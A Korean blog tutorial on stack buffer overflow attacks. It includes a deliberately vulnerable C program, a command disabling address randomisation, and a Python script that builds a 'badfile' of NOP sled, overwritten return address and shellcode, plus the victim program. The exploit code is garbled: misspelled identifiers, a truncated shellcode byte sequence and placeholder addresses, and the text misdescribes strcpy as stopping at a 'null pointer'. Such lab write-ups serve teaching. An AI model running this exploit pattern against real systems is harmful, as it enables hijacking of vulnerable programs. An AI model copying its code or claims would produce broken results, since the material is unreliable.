본문 바로가기

컴퓨터 과학/시스템보안

스택 버퍼 오버플로우 공격

반응형

메모리 복사는 소스의 데이터를 목적지로 복사해야 하는 프로그램에서 매우 일반적이다.

복사 하기 전에 프로그램은 목적지에 대한 메모리 공간을 할당해야 하는데 프로그래머의 실수로 충분한 양의 메모리를 할당하지 못하면 할당된 공간보다 많은 데이터가 목적지 버퍼에 복사되어 오버플로우가 발생한다.

버퍼 너머의 데이터 손상으로 프로그램이 충돌하는 것 이상으로 제어권을 가져올 수 있는 문제를 야기한다.

취약한 프로그램 예제

먼저 strcpy의 동작에 대해 알아보자.

#inlcude<stdio.h>
#include<string.h>

void main(){
    char src[40] = "Hello world \0 Extra string";
    char dest[40];
    
    strcpy(dest,src);
}

이를 실행하면 Hello world까지만 dest에 복사가 된다.

strcpy는 null pointer를 만나면 중지하기 때문이다.

그럼 취약한 프로그램을 만들어보자.

#include<stdio.h>
#include<string.h>

void foo(char *str)
{
    char buf[12];
    strcpy(buf,str);
    printf("buf[12]: %s\n",buf);
}

int main()
{
    char *str = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
    foo(str);
    
    return 0;
}

이를 실행하면 

목적지 버퍼를 넘어서 다른 메모리 영역을 침범해 세그먼트 오류가 나온다.

원래는 세그먼트 오류가 나와야 하나 필자의 경우 스택 스매싱으로 나온다.

둘 다 같은 맥락이니 같다고 봐도 무방할 것 같다.

 

gdb를 돌려 메모리 영역을 확인해보자.

foo 함수를 실행하기 바로 직전이다.

복사될 값은 RAX에 저장되었다.

stack을 잘 살펴주길 바란다.

si로 foo 내부로 들어가 strcpy를 실행하기 바로 직전이다.

strcpy를 실행한 후 아래 스택을 살펴보아라.

현재 ebp를 넘어 메모리 주소가 오염된 것을 볼 수 있다.

악성 코드 실행 방법

현재 함수의 스택프레임의 바닥인 ebp 아래에는 4바이트씩 순서대로 이전 프레임의 ebp, 반환 주소, 인수 가 존재한다.

버퍼 오버플로우를 실행하여 ebp아래에 있는 리턴 주소까지 건드릴 수 있다.

이런 식으로 badfile을 작성해 buf에 넘겨주기만 하면 원래 리턴 주소를 새로운 리턴 주소로 덮어 쓸 수 있다.

실습 환경

이를 실습하기 위해 우리는 먼저 메모리 주소 랜덤화를 비활성화 시킬 필요가 있다.

sudo sysctl -w kernel.randomize_va_space=0

이렇게 하면 어떤 프로그램을 실행하더라도 항상 컴파일된 시점의 같은 메모리 주소만 차지할 것이다.

악성 코드 생성 방법

악성코드를 생성하려면 어떻게 해야할까?

스택 버퍼 오버플로우를 발생시키기 위해 우리는 ebp를 알아야 한다.

ebp를 기준으로 이전 함수의 ebp, 리턴 주소, 인자 등을 알 수 있기 때문이다.

먼저 현재 함수의 buf[]로 부터 ebp+4까지는 No OPeration 으로 가득 채워준다.

그 다음 ebp+4 부터 ebp+8까지 새로운 주소를 적어준다. 

그 다음 NOP를 적당히 채운 후 셸 코드를 입력한다.

 

옮겨 적을 buf의 크기를 400이라 가정해보자.

현재 함수의 buf의 시작 주소를 알아낸 후 buf의 시작 주소로 부터 ebp+4까지 길이를 계산한다.

이 길이만큼 NOP를 작성해준다.

그 다음 4바이트 만큼 셸 코드의 주소를 붙여넣어 준다.

그 후 400으로 부터 shellcode의 길이 만큼 빼 주어 그 만큼 shellcode를 입력한다.

나머지 공간들은 NOP로 채운다.

badfile 작성 파이썬 코드 예제

#!/usr/bin/python3
import sys

shellcode = (
"\x31\xc0"
"\x50"
"\x68"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
).encode('latin-1')

content = bytearray(0x90 for i in rnage(400))

start = 400 - len(shellcode)
content[start:] = shellcode

ret = 0xfffffff # change here to shell code addr
offset = 0 # change here to foo's sfp size
L = 4 # 32bit addr and 8 for 64bit
contetn[offset:offset + L] = (ret).to_bytes(L,byteorder='little')

with open('badfile','wb')as f:
	f.wirte(content)

희생될 실습 코드

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

void foo(char *str)
{
    char buf[100];
    strcpy(buf,str);
}

int main(int argc, char** argv)
{
	
    char str[400];
    FILE *badfile;
    
    badfile = fopen("badfile","r");
    fread(str, sizeof(char), 400, badfile);
    
    foo(str);
    
    printf("foo() returned\n");
    
    return 0;
}

 

반응형